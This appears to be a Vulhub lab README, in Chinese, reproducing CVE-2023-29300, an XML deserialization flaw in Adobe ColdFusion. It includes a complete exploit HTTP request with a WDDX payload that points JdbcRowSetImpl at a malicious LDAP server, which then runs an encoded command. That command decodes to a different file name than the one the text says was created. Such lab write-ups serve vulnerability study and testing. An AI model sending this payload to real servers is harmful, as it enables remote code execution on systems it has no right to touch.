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53 lines
2.5 KiB
Markdown
53 lines
2.5 KiB
Markdown
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# Adobe ColdFusion XML 反序列化命令执行漏洞 CVE-2023-29300
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## 漏洞描述
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Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
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Adobe ColdFusion在2018.0.16、2021.0.6、2023.0.0.330468版本及以前,存在一处XML反序列化漏洞。攻击者可以利用该漏洞调用Java中任意setter方法,最终执行任意命令。
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参考链接:
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- [https://blog.projectdiscovery.io/adobe-coldfusion-rce/](https://blog.projectdiscovery.io/adobe-coldfusion-rce/)
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- [https://xz.aliyun.com/t/13413](https://xz.aliyun.com/t/13413)
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## 环境搭建
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Vulhub启动一个Adobe ColdFusion 2018.0.15服务器:
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```
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docker compose up -d
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```
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等待一段时间后环境启动成功,访问`http://your-vps-ip:8500/CFIDE/administrator/index.cfm`,输入密码`vulhub`,即可成功安装Adobe ColdFusion。
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## 漏洞复现
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要利用这个漏洞,需要先找到一个可利用的setter方法作为Gadget。最常见的Gadget是利用`com.sun.rowset.JdbcRowSetImpl`来进行JNDI注入,并执行任意命令。
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首先,启动一个恶意JNDI服务器,并加载`CommonsBeanutils1`作为内层反序列化Gadget。Github上有数个工具可以使用,比如[https://github.com/rebeyond/JNDInjector/releases](https://github.com/rebeyond/JNDInjector/releases):
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然后,将恶意LDAP地址替换到如下请求中发送:
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```
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POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
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Host: your-vps-ip:8500
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 333
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argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://192.168.24.1/HiJbyQaUgJ/CommonsBeanutils1/Exec/eyJjbWQiOiJ0b3VjaCAvdG1wL2F3ZXNvbWVfcG9jIn0=</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
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```
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可见,`touch /tmp/success`已被成功执行:
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